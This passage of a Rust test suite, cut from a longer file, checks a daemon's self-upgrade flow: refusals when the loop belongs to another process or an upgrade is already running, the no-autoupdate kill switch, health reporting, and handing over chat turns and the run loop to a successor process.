19676 .with_worktrees_root(home.path().join("wt"));
19677 let id = "20260901-000000-order";
19678 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19679 let slots = ui.talk_turns.lock().unwrap();
19681 let dropper = std::thread::spawn(move || drop(turn));
19682 let start = std::time::Instant::now();
19683 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19684 std::thread::sleep(Duration::from_millis(5));
19685 }
19686 assert!(!talks.turn_held(id), "the lease is released first");
19687 assert!(slots.live.contains(id), "the slot is still held meanwhile");
19688 drop(slots);
19689 dropper.join().expect("join");
19690 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19691 }
19692
19693 #[tokio::test]
19694 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19695 let fx = Fixture::start().await;
19696 let mut beat = crate::daemon::Status::new();
19700 beat.pid = 4321;
19701 beat.updated_at = jiff::Timestamp::now();
19702 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19703 .expect("publish a heartbeat");
19704
19705 let res = fx.post("/api/upgrade", None).await;
19706 assert_eq!(res.status, 409);
19707 let err = res.json()["error"].as_str().unwrap().to_owned();
19708 assert!(err.contains("4321"), "the refusal names the owner: {err}");
19709 assert!(err.contains("old one against the same queue"), "{err}");
19710 }
19711
19712 #[test]
19719 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19720 assert!(!should_spawn_recheck(&crate::config::Update {
19721 mode: UpdateMode::Off,
19722 interval: None,
19723 }));
19724
19725 unsafe {
19728 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19729 }
19730 let killed = should_spawn_recheck(&crate::config::Update {
19731 mode: UpdateMode::Notify,
19732 interval: None,
19733 });
19734 unsafe {
19735 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19736 }
19737 assert!(
19738 !killed,
19739 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19740 one-time startup check"
19741 );
19742
19743 assert!(should_spawn_recheck(&crate::config::Update {
19744 mode: UpdateMode::Notify,
19745 interval: None,
19746 }));
19747 }
19748
19749 #[test]
19755 fn recheck_poll_period_tracks_a_short_configured_interval() {
19756 let short = crate::config::Update {
19757 mode: UpdateMode::Notify,
19758 interval: Some("1m".to_owned()),
19759 };
19760 let period = recheck_poll_period(&short);
19761 assert!(
19762 period <= Duration::from_secs(30),
19763 "a one-minute interval must wake the task far sooner than the \
19764 default ceiling, or the deck would not notice within the \
19765 interval the operator configured: got {period:?}"
19766 );
19767
19768 let default = crate::config::Update {
19769 mode: UpdateMode::Notify,
19770 interval: None,
19771 };
19772 assert_eq!(
19773 recheck_poll_period(&default),
19774 UPDATE_RECHECK_POLL_MAX,
19775 "the default day-long interval should poll at the (capped) \
19776 ceiling rather than needlessly often"
19777 );
19778 }
19779
19780 #[test]
19788 fn recheck_skips_the_network_before_the_interval_elapses() {
19789 let dir = TempDir::new().expect("temp dir");
19790 let path = dir.path().join("state.json");
19791 let state = kaishin::UpdateCheckState {
19792 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19793 last_known_latest: None,
19794 last_known_url: None,
19795 };
19796 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19797
19798 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19799 assert!(
19800 !update_recheck_due(&checker, None),
19801 "a check made moments ago must not be repeated before the \
19802 configured interval elapses"
19803 );
19804 }
19805
19806 #[test]
19812 fn recheck_defers_to_an_upgrade_already_in_flight() {
19813 let dir = TempDir::new().expect("temp dir");
19814 let path = dir.path().join("state.json");
19815 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19816 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19817
19818 assert!(
19819 !update_recheck_due(&checker, Some(&progress)),
19820 "a recheck must not run while an upgrade this deck started is \
19821 still moving"
19822 );
19823 }
19824
19825 #[tokio::test]
19826 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19827 unsafe {
19839 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19840 }
19841 let fx = Fixture::start().await;
19842 let res = fx.post("/api/upgrade", None).await;
19843 unsafe {
19844 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19845 }
19846 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19847 let body = res.json();
19848 assert!(body["to"].is_null(), "there was no release to move to");
19849 assert!(body["parked"].is_null(), "and nothing was parked");
19850 assert!(
19851 body["detail"]
19852 .as_str()
19853 .unwrap()
19854 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19855 "{body:?}"
19856 );
19857 }
19858
19859 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19860 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19861 p.stage = stage;
19862 p
19863 }
19864
19865 #[test]
19866 fn busy_stages_match_the_ui_set() {
19867 use crate::updater::Stage;
19868 assert!(APP_JS.contains(
19869 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19870 ));
19871 for s in [
19872 Stage::Downloading,
19873 Stage::Replaced,
19874 Stage::Parking,
19875 Stage::Restarting,
19876 ] {
19877 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19878 }
19879 for s in [Stage::Done, Stage::Failed] {
19880 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
19881 }
19882 assert!(upgrade_in_motion(None).is_none());
19883 }
19884
19885 #[tokio::test]
19886 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
19887 use crate::updater::Stage;
19888 for stage in [
19889 Stage::Downloading,
19890 Stage::Replaced,
19891 Stage::Parking,
19892 Stage::Restarting,
19893 ] {
19894 let fx = Fixture::start().await;
19895 let seeded = seeded_progress(stage);
19896 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19897 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19898 .expect("read");
19899
19900 let res = fx.post("/api/upgrade", None).await;
19901 assert_eq!(res.status, 409, "{stage:?}");
19902 let err = res.json()["error"].as_str().unwrap().to_owned();
19903 assert!(err.contains("already in progress"), "{err}");
19904 assert!(err.contains(stage.as_str()), "{err}");
19905
19906 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19907 .expect("read");
19908 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19909 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19910 .unwrap_or_default();
19911 assert!(!log.contains("signalling HANDOVER"), "{log}");
19912 }
19913 }
19914
19915 #[tokio::test]
19916 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19917 use crate::updater::Stage;
19918 let repo = TempDir::new().expect("repo dir");
19919 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19920 .expect("write magi.toml");
19921 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19922 for stage in [Stage::Done, Stage::Failed] {
19923 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19924 let res = fx.post("/api/upgrade", None).await;
19925 assert_eq!(res.status, 200, "{stage:?}");
19926 }
19927 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19929 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19930 }
19931
19932 #[tokio::test]
19933 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19934 let repo = TempDir::new().expect("repo dir");
19950 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19951 .expect("write magi.toml");
19952 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19953
19954 let res = fx.post("/api/upgrade", None).await;
19960 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19961 let body = res.json();
19962 assert!(body["to"].is_null(), "there was no release to move to");
19963 assert!(body["parked"].is_null(), "and nothing was parked");
19964 assert!(
19965 body["detail"]
19966 .as_str()
19967 .unwrap()
19968 .contains("nothing restarted"),
19969 "{body:?}"
19970 );
19971 }
19972
19973 #[tokio::test]
19974 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19975 let repo = TempDir::new().expect("repo dir");
19980 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19981 .expect("write magi.toml");
19982 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19983
19984 let health = fx.get("/api/health").await.json();
19985 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19986 assert_eq!(
19987 health["update"]["available"], false,
19988 "checking is off, which reads as \"unknown\", not \"none\""
19989 );
19990 assert!(health["update"]["to"].is_null());
19991 assert!(
19992 health["upgrade"].is_null(),
19993 "nothing has ever asked this deck to upgrade"
19994 );
19995 }
19996
19997 #[tokio::test]
19998 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19999 let fx = Fixture::start().await;
20000 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20001
20002 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20003 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20004 progress.advance(crate::updater::Stage::Parking);
20005 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20006
20007 let health = fx.get("/api/health").await.json();
20008 assert_eq!(health["upgrade"]["stage"], "parking");
20009 assert_eq!(health["upgrade"]["from"], "0.5.1");
20010 assert_eq!(health["upgrade"]["to"], "0.5.2");
20011 let waiting_on = health["upgrade"]["waiting_on"]
20012 .as_str()
20013 .expect("waiting_on is set while parking a known run");
20014 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20015 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20016 }
20017
20018 #[tokio::test]
20019 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20020 let fx = Fixture::start().await;
20021 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20022 progress.advance(crate::updater::Stage::Done);
20023 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20024
20025 let health = fx.get("/api/health").await.json();
20026 assert_eq!(health["upgrade"]["stage"], "done");
20027 assert!(
20028 health["upgrade"]["waiting_on"].is_null(),
20029 "nothing to wait on once it is done"
20030 );
20031 }
20032
20033 #[tokio::test]
20034 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20035 let home = TempDir::new().expect("temp home");
20036 let runs = home.path().join("runs");
20037 std::fs::create_dir_all(&runs).expect("runs dir");
20038 let ui = Ui::new(
20039 Queue::at(home.path().join("queue")),
20040 Questions::at(home.path().join("questions")),
20041 Talks::at(home.path().join("talks")),
20042 runs,
20043 home.path().to_path_buf(),
20044 PathBuf::from("/repo/magi"),
20045 )
20046 .with_launch(launch_idle);
20047 let looping = ui.looping();
20048 let turns = ui.turns();
20049 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20050 .await
20051 .expect("bind loopback");
20052 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20053
20054 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20055 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20056
20057 hand_over(
20058 home.path(),
20059 &looping,
20060 &turns,
20061 &|_: &[String]| Duration::from_secs(5),
20062 served,
20063 |_| Ok(1),
20064 )
20065 .await
20066 .expect("hand over");
20067
20068 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20069 assert_eq!(
20070 after.stage,
20071 crate::updater::Stage::Restarting,
20072 "hand_over owns the record through parking and up to restarting; \
20073 the successor is what finishes it"
20074 );
20075 }
20076
20077 #[tokio::test]
20080 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20081 for fail in [false, true] {
20082 let home = TempDir::new().expect("temp home");
20083 let ui = idle_ui(&home);
20084 let looping = ui.looping();
20085 let turns = ui.turns();
20086 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20087 .await
20088 .expect("bind loopback");
20089 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20090 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20091 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20092
20093 let calls = std::sync::atomic::AtomicUsize::new(0);
20094 let outcome = hand_over(
20095 home.path(),
20096 &looping,
20097 &turns,
20098 &|_: &[String]| Duration::from_secs(5),
20099 served,
20100 |_| {
20101 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20102 if fail {
20103 anyhow::bail!("no exec")
20104 } else {
20105 Ok(4242)
20106 }
20107 },
20108 )
20109 .await;
20110 assert_eq!(outcome.is_err(), fail);
20111 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20112
20113 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20114 .expect("upgrade.log is written under the home");
20115 for step in [
20116 "entered",
20117 "finish_loop",
20118 "listener released",
20119 "starting the successor",
20120 ] {
20121 assert!(log.contains(step), "missing `{step}` in:\n{log}");
20122 }
20123 assert!(
20124 log.contains(if fail { "did not start" } else { "pid 4242" }),
20125 "{log}"
20126 );
20127 }
20128 }
20129
20130 #[tokio::test]
20133 async fn the_handover_signal_wakes_one_waiter_once() {
20134 let signal = Notify::new();
20135 signal.notify_one();
20137 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20138 .await
20139 .expect("an early signal is still seen");
20140 assert!(
20142 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20143 .await
20144 .is_err(),
20145 "a consumed signal must not wake a second time"
20146 );
20147 let signal = std::sync::Arc::new(signal);
20149 let waiter = tokio::spawn({
20150 let signal = std::sync::Arc::clone(&signal);
20151 async move { wait_for_handover(&signal).await }
20152 });
20153 tokio::time::sleep(Duration::from_millis(20)).await;
20154 assert!(!waiter.is_finished(), "nothing was signalled yet");
20155 signal.notify_one();
20156 tokio::time::timeout(Duration::from_secs(5), waiter)
20157 .await
20158 .expect("a late signal wakes the waiter")
20159 .expect("join");
20160 }
20161
20162 #[tokio::test]
20163 async fn health_says_how_long_a_handover_has_been_stuck() {
20164 let fx = Fixture::start().await;
20165 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20166 progress.advance(crate::updater::Stage::Replaced);
20167 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20168 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20169
20170 let health = fx.get("/api/health").await.json();
20171 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20172 assert!(stuck >= 600, "{stuck}");
20173 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20174 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20175 }
20176
20177 #[tokio::test]
20178 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20179 let home = tempfile::tempdir().expect("temp home");
20180 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20181 progress.advance(crate::updater::Stage::Parking);
20182 crate::updater::write_progress(home.path(), &progress).expect("seed");
20183 let mut again = progress.clone();
20185 again.advance(crate::updater::Stage::Replaced);
20186 crate::updater::write_progress(home.path(), &again).expect("replaced");
20187 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20188 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20189 let after = crate::updater::read_progress(home.path()).expect("record");
20190 assert_eq!(after.stage, crate::updater::Stage::Parking);
20191 }
20192
20193 #[tokio::test]
20194 async fn health_does_not_call_a_live_parking_wait_stuck() {
20195 let fx = Fixture::start().await;
20196 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20197 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20198 progress.advance(crate::updater::Stage::Parking);
20199 let hours = Duration::from_secs(3 * 3600);
20200 progress.started_at = Timestamp::now() - hours;
20201 progress.updated_at = Timestamp::now() - hours;
20202 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20203 let _lease = crate::updater::LeaseGuard::enter(
20204 fx.home.path(),
20205 Some("20260905-000000-cd51".to_owned()),
20206 );
20207
20208 let health = fx.get("/api/health").await.json();
20209 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20210 assert!(health["upgrade"]["stuck_kind"].is_null());
20211 assert_eq!(health["upgrade"]["handover_alive"], true);
20212 let waiting_on = health["upgrade"]["waiting_on"]
20213 .as_str()
20214 .expect("waiting_on");
20215 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20216 }
20217
20218 fn idle_ui(home: &TempDir) -> Ui {
20219 let runs = home.path().join("runs");
20220 std::fs::create_dir_all(&runs).expect("runs dir");
20221 Ui::new(
20222 Queue::at(home.path().join("queue")),
20223 Questions::at(home.path().join("questions")),
20224 Talks::at(home.path().join("talks")),
20225 runs,
20226 home.path().to_path_buf(),
20227 PathBuf::from("/repo/magi"),
20228 )
20229 .with_launch(launch_idle)
20230 }
20231
20232 async fn park_fixture(
20233 home: &TempDir,
20234 ) -> (
20235 Ui,
20236 Arc<Mutex<LoopState>>,
20237 Arc<Mutex<TalkTurns>>,
20238 tokio::task::JoinHandle<std::io::Result<()>>,
20239 ) {
20240 let ui = idle_ui(home);
20241 let looping = ui.looping();
20242 let turns = ui.turns();
20243 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20244 .await
20245 .expect("bind loopback");
20246 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20247 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20248 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20249 (ui, looping, turns, served)
20250 }
20251
20252 #[tokio::test]
20256 async fn hand_over_waits_for_a_running_chat_turn() {
20257 let home = TempDir::new().expect("temp home");
20258 let (ui, looping, turns, served) = park_fixture(&home).await;
20259 let ui = Arc::new(ui);
20260 let id = "20260901-000000-chat";
20261 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20262
20263 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20264 let handover = tokio::spawn({
20265 let home = home.path().to_path_buf();
20266 let turns = Arc::clone(&turns);
20267 let calls = Arc::clone(&calls);
20268 async move {
20269 hand_over(
20270 &home,
20271 &looping,
20272 &turns,
20273 &|_: &[String]| Duration::from_secs(60),
20274 served,
20275 move |_| {
20276 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20277 Ok(1)
20278 },
20279 )
20280 .await
20281 }
20282 });
20283
20284 let waiting = async {
20285 for _ in 0..200 {
20286 if crate::updater::read_progress(home.path())
20287 .is_some_and(|p| p.parked_talks == [id.to_owned()])
20288 {
20289 return;
20290 }
20291 tokio::time::sleep(Duration::from_millis(25)).await;
20292 }
20293 panic!("the park never named the chat turn");
20294 };
20295 waiting.await;
20296 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20297
20298 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20301 assert!(
20302 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20303 "a direct start says an upgrade is in progress"
20304 );
20305 assert!(
20306 ui.begin_queued_talk_turn("20260901-000000-late")
20307 .expect("queued claim")
20308 .is_none()
20309 );
20310 assert!(matches!(
20311 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20312 .expect("start"),
20313 TalkTurnStart::Busy
20314 ));
20315 assert_eq!(turns.lock().unwrap().live.len(), 1);
20316
20317 let progress = crate::updater::read_progress(home.path()).expect("progress");
20319 let view = upgrade_progress_view(&ui, progress);
20320 assert!(
20321 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20322 "{:?}",
20323 view.waiting_on
20324 );
20325
20326 assert!(!handover.is_finished());
20327 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20328 drop(turn);
20329 handover.await.expect("join").expect("hand over");
20330 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20331 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20332 }
20333
20334 #[tokio::test]
20337 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20338 let home = TempDir::new().expect("temp home");
20339 let (ui, looping, turns, served) = park_fixture(&home).await;
20340 let ui = Arc::new(ui);
20341 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20343 lock_or_recover(&looping).live = Some(Live {
20344 stop: daemon::Stop::new(),
20345 handle: tokio::spawn(async move {
20346 let _ = loop_ended.await;
20347 }),
20348 opts: daemon::Opts::default(),
20349 });
20350
20351 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20352 let handover = tokio::spawn({
20353 let home = home.path().to_path_buf();
20354 let turns = Arc::clone(&turns);
20355 let calls = Arc::clone(&calls);
20356 async move {
20357 hand_over(
20358 &home,
20359 &looping,
20360 &turns,
20361 &|_: &[String]| Duration::from_secs(60),
20362 served,
20363 move |_| {
20364 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20365 Ok(1)
20366 },
20367 )
20368 .await
20369 }
20370 });
20371
20372 let reached = async {
20373 for _ in 0..200 {
20374 if crate::updater::read_progress(home.path())
20375 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20376 {
20377 return;
20378 }
20379 tokio::time::sleep(Duration::from_millis(25)).await;
20380 }
20381 panic!("the hand-over never reached parking");
20382 };
20383 reached.await;
20384
20385 assert!(!turns.lock().unwrap().parking);
20387 let turn = ui
20388 .begin_talk_turn("20260901-000000-chat")
20389 .expect("claim")
20390 .expect("a turn can start while the loop parks");
20391
20392 end_loop.send(()).expect("loop still waiting");
20394 for _ in 0..200 {
20395 if turns.lock().unwrap().parking {
20396 break;
20397 }
20398 tokio::time::sleep(Duration::from_millis(25)).await;
20399 }
20400 assert!(
20401 turns.lock().unwrap().parking,
20402 "closed once the loop is done"
20403 );
20404 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20405 assert!(
20406 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20407 "no turn starts once the loop is done"
20408 );
20409 assert!(
20410 ui.begin_queued_talk_turn("20260901-000000-late")
20411 .expect("queued claim")
20412 .is_none()
20413 );
20414 assert!(!handover.is_finished());
20415 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20416
20417 drop(turn);
20418 handover.await.expect("join").expect("hand over");
20419 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20420 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20421 }
20422
20423 #[tokio::test]
20426 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20427 let home = TempDir::new().expect("temp home");
20428 let (ui, looping, turns, served) = park_fixture(&home).await;
20429 let id = "20260901-000000-stuk";
20430 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20431
20432 let calls = std::sync::atomic::AtomicUsize::new(0);
20433 hand_over(
20434 home.path(),
20435 &looping,
20436 &turns,
20437 &|_: &[String]| Duration::from_millis(300),
20438 served,
20439 |_| {
20440 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20441 Ok(1)
20442 },
20443 )
20444 .await
20445 .expect("hand over");
20446 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20447
20448 let progress = crate::updater::read_progress(home.path()).expect("progress");
20449 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20450 assert!(
20451 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20452 "{:?}",
20453 progress.detail
20454 );
20455 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20456 assert!(
20457 log.contains("handing over anyway") && log.contains(id),
20458 "{log}"
20459 );
20460 }
20461
20462 #[tokio::test]
20465 async fn drain_loop_starts_no_turn_while_parking() {
20466 let tmp = TempDir::new().expect("tempdir");
20467 let repo = tmp.path().join("repo");
20468 std::fs::create_dir_all(&repo).expect("repo dir");
20469 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20470 let home = TempDir::new().expect("temp home");
20471 let talks = Talks::at(home.path().join("talks"));
20472 let ui = Ui::new(
20473 Queue::at(home.path().join("queue")),
20474 Questions::at(home.path().join("questions")),
20475 talks.clone(),
20476 home.path().join("runs"),
20477 home.path().to_path_buf(),
20478 repo.clone(),
20479 )
20480 .with_worktrees_root(home.path().join("wt"));
20481 let cfg = config_for(&repo).await.expect("discover config");
20482 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20483 let id = talk.id.clone();
20484 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20485 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20486 let turns = ui.turns();
20487 let parking = ParkingTurns::begin(&turns);
20488
20489 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20490
20491 assert!(
20492 turns.lock().unwrap().live.is_empty(),
20493 "the slot is given up"
20494 );
20495 let fresh = talks.get(&id).expect("talk");
20496 assert_eq!(fresh.pending, "later", "the draft is still queued");
20497 assert!(fresh.turns.is_empty(), "no turn ran");
20498 drop(parking);
20499 }
20500
20501 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20503 let looping = ui.looping();
20504 let turns = ui.turns();
20505 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20506 .await
20507 .expect("bind loopback");
20508 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20509 let told = std::sync::Mutex::new(None);
20510 hand_over(
20511 home.path(),
20512 &looping,
20513 &turns,
20514 &|_: &[String]| Duration::from_secs(5),
20515 served,
20516 |resume| {
20517 *told.lock().unwrap() = Some(resume);
20518 Ok(1)
20519 },
20520 )
20521 .await
20522 .expect("hand over");
20523 told.into_inner().unwrap().expect("successor was started")
20524 }
20525
20526 #[tokio::test]
20527 async fn a_running_loop_is_resumed_by_the_successor() {
20528 let home = TempDir::new().expect("temp home");
20529 let ui = idle_ui(&home);
20530 ui.start_loop(None).expect("start");
20531 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20532 for _ in 0..500 {
20534 if !ui.loop_view(None).running {
20535 break;
20536 }
20537 tokio::time::sleep(Duration::from_millis(2)).await;
20538 }
20539 assert!(handed_over(&home, ui).await, "a running loop must resume");
20540
20541 let successor = idle_ui(&home);
20542 assert!(!successor.loop_view(None).running);
20543 assert!(successor.resume_after_handover(true));
20544 assert!(successor.loop_view(None).running);
20545 successor.stop_loop(None, false).expect("stop");
20546 }
20547
20548 #[tokio::test]
20549 async fn a_second_upgrade_request_keeps_the_resume_intent() {
20550 let home = TempDir::new().expect("temp home");
20551 let ui = idle_ui(&home);
20552 ui.start_loop(None).expect("start");
20553 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20554 .expect("first park");
20555 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20556 .expect("second park");
20557 assert!(handed_over(&home, ui).await);
20558 }
20559
20560 #[tokio::test]
20561 async fn a_stop_during_the_handover_wait_is_honoured() {
20562 let home = TempDir::new().expect("temp home");
20563 let ui = idle_ui(&home);
20564 ui.start_loop(None).expect("start");
20565 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20566 ui.stop_loop(None, false).expect("stop");
20567 assert!(!handed_over(&home, ui).await);
20568 }
20569
20570 #[tokio::test]
20571 async fn an_idle_loop_stays_stopped_across_the_handover() {
20572 let home = TempDir::new().expect("temp home");
20573 let ui = idle_ui(&home);
20574 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20575 assert!(!handed_over(&home, ui).await);
20576
20577 let successor = idle_ui(&home);
20578 assert!(!successor.resume_after_handover(false));
20579 assert!(!successor.loop_view(None).running);
20580 }
20581
20582 #[tokio::test]
20583 async fn a_loop_the_operator_stopped_is_not_resumed() {
20584 let home = TempDir::new().expect("temp home");
20585 let ui = idle_ui(&home);
20586 ui.start_loop(None).expect("start");
20587 ui.stop_loop(None, false).expect("stop");
20588 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20589 assert!(!handed_over(&home, ui).await);
20590 }
20591
20592 #[test]
20593 fn only_an_explicit_one_requests_a_resume() {
20594 assert!(!resume_requested(None));
20595 assert!(!resume_requested(Some("0".into())));
20596 assert!(!resume_requested(Some("".into())));
20597 assert!(resume_requested(Some("1".into())));
20598 }
20599
20600 #[test]
20601 fn the_upgrade_button_arms_before_it_restarts_anything() {
20602 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
20605 assert!(APP_JS.contains("Replace the binary and restart?"));
20606 assert!(APP_JS.contains("function confirmed("));
20607 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
20612 assert!(
20616 APP_JS.contains("Parking, then restarting"),
20617 "the button says what it is waiting for"
20618 );
20619 assert!(APP_JS.contains("if (!out.to)"));
20622 }
20623
20624 #[test]
20625 fn stopping_the_loop_arms_but_starting_does_not() {
20626 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20629 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20630 assert!(APP_JS.contains("confirmed(button, question)"));
20631 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
20634 assert!(APP_JS.contains("const label = btn.textContent;"));
20635 assert!(!APP_JS.contains("Neither direction is guarded"));
20636 }
20637
20638 #[test]
20639 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20640 assert!(
20641 APP_JS.contains("state.health.version"),
20642 "the operator wants to know what is running even with nothing newer"
20643 );
20644 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20645 }
20646
